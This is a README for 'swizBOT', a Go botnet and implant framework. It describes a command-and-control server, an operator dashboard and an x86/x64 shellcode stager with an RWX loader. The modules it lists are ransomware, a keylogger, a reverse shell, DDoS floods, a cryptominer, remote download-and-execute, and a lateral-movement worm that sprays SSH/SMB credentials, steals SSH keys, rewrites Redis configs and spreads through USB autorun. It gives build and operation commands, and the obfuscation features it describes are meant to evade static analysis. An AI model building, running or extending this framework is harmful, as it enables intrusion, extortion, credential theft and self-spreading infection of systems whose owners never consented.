swizBOT
Modular Go implant framework with a CALL/POP stager (Jake Swiz decoder technique), a polling HTTPS C2, an operator dashboard, plugin actions, and a lateral-movement worm module.
by ek0ms savi0r, Church of Malware. Decoder technique after Jake Swiz (0xXyc) / Fukahi Teki0 research.
For authorized security testing and education only.
Layout
| Path | What it is |
|---|---|
| cmd/c2 | C2 server: implant API, operator API, WebSocket, embedded dashboard |
| cmd/bot | Implant: beacon loop, failover, plugins dispatch, worm module |
| internal/plugins | Action modules (ddos, miner, file encryption, reverse shell, keylogger) |
| stager | XOR/LFSR CALL/POP stager encoder (x86/x64) + decoder listings |
| web | dashboard sources (embedded into the c2 binary at build time) |
Quick start (lab)
# build the C2 and the Linux implant
make c2 bot-linux
# self-signed cert for the TLS implant listener
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt \
-days 365 -nodes -subj '/CN=localhost'
# run the C2: operator UI on :8080, implant listener (TLS) on :8443
# -token protects every operator endpoint; -bot-secret is required from implants
./bin/swizbot-c2 -token 'change-me' -bot-secret 'shared-secret'
# register an implant against it (env-driven, no rebuilds)
SWIZ_C2_URLS=https://127.0.0.1:8443 \
SWIZ_BOT_SECRET=shared-secret \
SWIZ_BOT_ID=lab-1 \
./bin/swizbot-bot-linux
# queue a command (operator API)
curl -s -H 'X-C2-Token: change-me' \
'http://127.0.0.1:8080/command?bot_id=lab-1&cmd=exec&payload=id'
# watch the result stream in the dashboard at http://127.0.0.1:8080
For Windows targets build the GUI implant:
make bot-windows # bin/swizbot-bot.exe (amd64, windowsgui)
Dashboard
The C2 serves a single-file dashboard (terminal theme, no external assets) on the operator listener:
- bot list with OS/arch/IP/last-seen and live online state
- per-type command builder (exec, download, ddos, shell, miner, ransomware, keylog, worm, kill) with broadcast mode
- WebSocket event stream for registrations and command results, with polling fallback
- token login screen when the C2 runs with -token
Commands
| type | payload | behavior |
|---|---|---|
| exec | shell command | runs via cmd.exe /C or /bin/sh -c |
| download | http(s) URL | downloads to a temp file, chmod +x, executes |
| fetch | file path | pulls a file back from the implant (base64 result, 4 MB cap) |
| screenshot | - | captures the primary display (Windows build) and returns the PNG |
| ddos | host:port method seconds |
udp/tcp/http flood for the given window |
| shell | host port |
reverse shell loop (line protocol, auto reconnect) |
| miner | `pool wallet [threads] [path | url]` |
| ransomware | operator RSA public key (PEM) | AES-256-GCM per-file, RSA-OAEP key wrap |
| keylog | optional log path | GetAsyncKeyState logger (Windows build) |
| worm | optional subnets CSV |
lateral movement module (see below) |
| kill | - | removes persistence and exits |
Every command reports a result: success only when the action was
actually started/completed, failed with the reason otherwise. Unknown
command types are rejected, not silently ignored.
Implant configuration (environment)
| variable | default | purpose |
|---|---|---|
| SWIZ_C2_URLS | https://127.0.0.1:8443 | comma-separated operator endpoints, tried in random order |
| SWIZ_BOT_ID | hostname_pid | implant identifier reported to the C2 |
| SWIZ_BOT_SECRET | - | sent as X-Bot-Secret; required if the C2 runs -bot-secret |
| SWIZ_BOT_KEY | - | implant X25519 private key (hex); enables the sealed channel |
| SWIZ_C2_PUBKEY | - | operator X25519 public key (hex); encrypts results to the C2 |
| SWIZ_XOR | 0xaa | result body obfuscation byte, must match the C2 -xor |
| SWIZ_INTERVAL | 30s | beacon interval |
| SWIZ_JITTER | 30s | random sleep added to the interval |
| SWIZ_BACKOFF_MAX | 1h | max exponential backoff when every endpoint is down |
| SWIZ_DNS_DOMAIN | - | TXT record domain checked for additional endpoints |
| SWIZ_P2P | 0 | LAN peer discovery (UDP broadcast, see docs) |
| SWIZ_PEER_PORT | 31337 | peer discovery port |
| SWIZ_TELEGRAM_TOKEN | - | dead-drop fallback (bot API token) |
| SWIZ_TELEGRAM_CHAT_ID | - | optional chat filter for the dead drop |
| SWIZ_LOG | - | log file (stderr when unset) |
| SWIZ_UNLOCK | - | passphrase that unlocks a -sealed baked config (see docs/BAKED-CONFIG.md) |
| SWIZ_WORM_SUBNETS | - | worm target subnets CSV override |
| SWIZ_WORM_DOWNLOAD_URL | - | hosted implant binary for cross-OS deployment |
| SWIZ_WORM_RESCAN | 10m | worm rescan interval |
Results are cached locally when every endpoint is unreachable and flushed on the next successful contact. The XOR byte is obfuscation, not encryption: transport security comes from the TLS listener.
Baked config (compile-time)
cmd/build compiles config into the implant so a deployment is a single
artifact. All values are packed into one opaque token (internal/bakepack),
never injected as plaintext -ldflags -X symbols:
# obfuscated (default): no readable secrets in the binary
make payload C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
# sealed: AES-256-GCM under a passphrase -> zero-leak artifact
make payload SEAL='correct horse battery staple' \
C2_URLS=https://c2.example:8443 BOT_SECRET=s3cret OS=linux
# ...then run with SWIZ_UNLOCK='correct horse battery staple'
Precedence is env > baked > default. The obfuscated mode defeats
strings/static triage; the sealed mode is real encryption and leaves the
binary inert without SWIZ_UNLOCK. Baking secrets without -seal prints a
warning. Full rationale, threat model and limits: docs/BAKED-CONFIG.md.
C2 configuration (flags)
| flag | default | purpose |
|---|---|---|
| -ui | :8080 | operator UI/API listener |
| -listen | :8443 | implant listener (TLS) |
| -cert / -key | server.crt / server.key | TLS keypair |
| -insecure | false | plain HTTP implant listener (lab) |
| -tunnel | none | outbound tunnel: cloudflared quick tunnel in front of -ui |
| -token | - | operator token (X-C2-Token header or login cookie) |
| -bot-secret | - | secret implants must present |
| -bot-key | - | operator X25519 private key; enables the sealed bot channel |
| -bot-key-gen | - | print a fresh operator keypair and exit |
| -xor | 0xaa | result obfuscation byte |
| -prune-hours | 24 | drop bots unseen for N hours (0 disables) |
Fleet pause/resume (reversible kill switch): queue cmd=pause with
bot_id=* to stop all command delivery; implants slow-poll so
cmd=resume reaches them. Paused state is server-side, so a resume
always re-enables the fleet.
Failover layers: the implant carries the same sealed frames over an ordered channel stack (HTTPS -> DNS -> Telegram dead-drop), failing over automatically when a layer stops answering. Layer order, health/probation semantics and per-layer setup: docs/TRANSPORTS.md.
Bot endpoints are /checkin and /result; operator endpoints are
/command, /list, /api/bots, /api/command, /ws, /login, and
the dashboard at /.
Sealed bot channel
When the C2 runs with -bot-key and implants carry SWIZ_BOT_KEY (their
own X25519 keypair) plus SWIZ_C2_PUBKEY (the operator public key), the
payload layer upgrades from single-byte XOR to per-frame AEAD:
- every checkin response (command) is sealed to the implant's registered public key; the implant opens it with its own private key;
- every result is sealed with a fresh ephemeral X25519 key against the
operator public key (forward secrecy); the C2 opens it with
-bot-key; - tampered or wrong-key frames are rejected (GCM auth).
Generate the operator keypair once: swizbot-c2 -bot-key-gen. Distribute
SWIZ_BOT_KEY per implant (or fleet) and SWIZ_C2_PUBKEY from the
generator output. Without keys the channel falls back to TLS + XOR
obfuscation for lab use.
Command delivery is at-least-once: an undelivered command is redelivered after 2 minutes up to 3 times and then dropped if never acknowledged.
Bot protocol
- checkin:
GET /checkin?bot_id=..&os=..&arch=..withX-Bot-Secret; returns{"id","type","payload","target"}; an emptyidmeans nothing is queued. - result:
POST /result, body is the JSON result XOR-masked with the configured byte:{"bot_id","command_id","output","status"}. - command (operator):
GET /command?...orPOST /commandwith a JSON body{"bot_id","type","payload","target"};bot_id=*broadcasts to every known implant.
Worm module
Activated only by the worm command (never at boot). It scans the
target subnets and dispatches open ports to real deploy modules:
| vector | port | notes |
|---|---|---|
| ssh | 22 | Go-native credential spray + stolen-key auth; stages the implant via sftp-less pipe and launches it detached |
| smb | 445 | net.exe credential spray, ADMIN$ copy, remote scheduled task (Windows build) |
| redis | 6379 | RESP config rewrite that plants an authorized SSH key (only with harvested key material; no fake keys) |
| web | 80/443/8080/8443 | sensitive-path recon; reports findings, never claims infections |
| usb | - | removable drive copy + autorun.inf + .lnk (Windows build) |
| shares | - | writable network share and public Startup copy (Windows build) |
| harvest | - | local config/log credential extraction and .ssh private-key theft feeding the spray lists |
Subnets: worm payload CSV, SWIZ_WORM_SUBNETS, or the local /24.
Cross-OS deployment uses SWIZ_WORM_DOWNLOAD_URL when set, otherwise the
implant copies itself (same-OS spreads). Success is counted only on a
verified outcome per vector. The module is exercised by unit and
integration tests (Redis vector runs against a live fake RESP server in
the test suite); the full spread loop is not executed on this host.
Stager
The stager prepends a position-independent CALL/POP decoder to an XOR- or LFSR-encoded raw payload:
# XOR loop decoder (x86)
python3 stager/encoder.py payload.bin out/stager.bin
# polymorphic LFSR stream, 64-bit decoder + C loader
python3 stager/encoder.py payload.bin out/stager.bin --lfsr --arch x64 --loader
# unrolled decoder, no loop instruction (payload up to 255 bytes)
python3 stager/encoder.py payload.bin out/stager.bin --noloop
# full verification: emulated decode round-trips + nasm byte parity
python3 stager/encoder.py --selftest
- modes:
xor(fixed key),lfsr(32-bit LFSR, key changes per byte),noloop(unrolled). xor/noloop payloads up to 255 bytes for noloop; loop modes up to 65535 bytes. - architectures: x86 and x64 (positions documented in stager/decoder_x86.asm and decoder_x64.asm, verified byte-for-byte against the emitted stubs by --selftest when nasm is available).
--loaderwrites a loader.c (VirtualAlloc RWX + memcpy + call); compile with i686- or x86_64-w64-mingw32-gcc, add -mwindows for a GUI binary.
The technique (CALL/POP, in-memory decode, execute) follows Jake Swiz's published decoder research; execution verification here is done in the instruction emulator rather than on Windows hardware.
Testing
make test # go test ./... (server, implant, plugins, bakepack)
make vet
make leakscan # prove baked config is not string-recoverable
make stager-selftest # encoder round-trips + listing parity
The test suite covers the full operator lifecycle (register, queue, deliver, result, ack, redelivery, drop), auth gates, the implant checkin/exec/result round trip against a live HTTP server, plugin behavior (ransomware AES/RSA round trip on real files, DDoS validation, miner resolution), the Redis worm vector against a live fake RESP server, subnet enumeration, the transport manager (per-layer health, probation/backoff, auto-recovery) and 20 stager decode round-trips.
docs/VERIFICATION.md records the honest surface: what is live-verified (Linux E2E, b1/b2 baked config, DNS fallback, Windows registration/exec/screenshot/persistence under Wine) versus compiled/unit-only (Telegram, P2P, SMB/USB/share, schtasks, stager on real hardware) versus deliberately not executed (the worm spread loop).
Credits
- Jake Swiz (0xXyc) - CALL/POP XOR decoder and loader technique, PEB walking and ASLR research that this stager builds on.
- ek0ms savi0r - Go framework, C2, dashboard, plugins, worm module.
Disclaimer
For educational purposes and authorized security testing only. The operator is responsible for compliance with applicable law and for obtaining authorization before testing any system.